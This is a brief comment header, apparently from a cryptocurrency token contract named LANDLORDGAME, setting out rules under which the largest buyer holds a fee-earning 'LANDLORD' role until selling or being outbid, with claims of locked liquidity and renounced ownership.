/**
LANDLORDGAME

LANDLORD is a wallet with the biggest buy.

▶ Make the biggest buy in tokens and hold the taxer role for 1 hour,
   you will earn 2% in fees similar to how the marketing wallet does.


▶ If you sell tokens at any point while holding the Taxer Role it will be taken from you and the game will restart.
 If you sell before and try to buyback you will not be able to earn fees, you may have 0 sells to become LANDLORD


▶ If you beat the record of the LANDLORD you will be promoted to LANDLORD and you will be given rewards.


▶ Liquidity will be locked and contract ownership renounced.
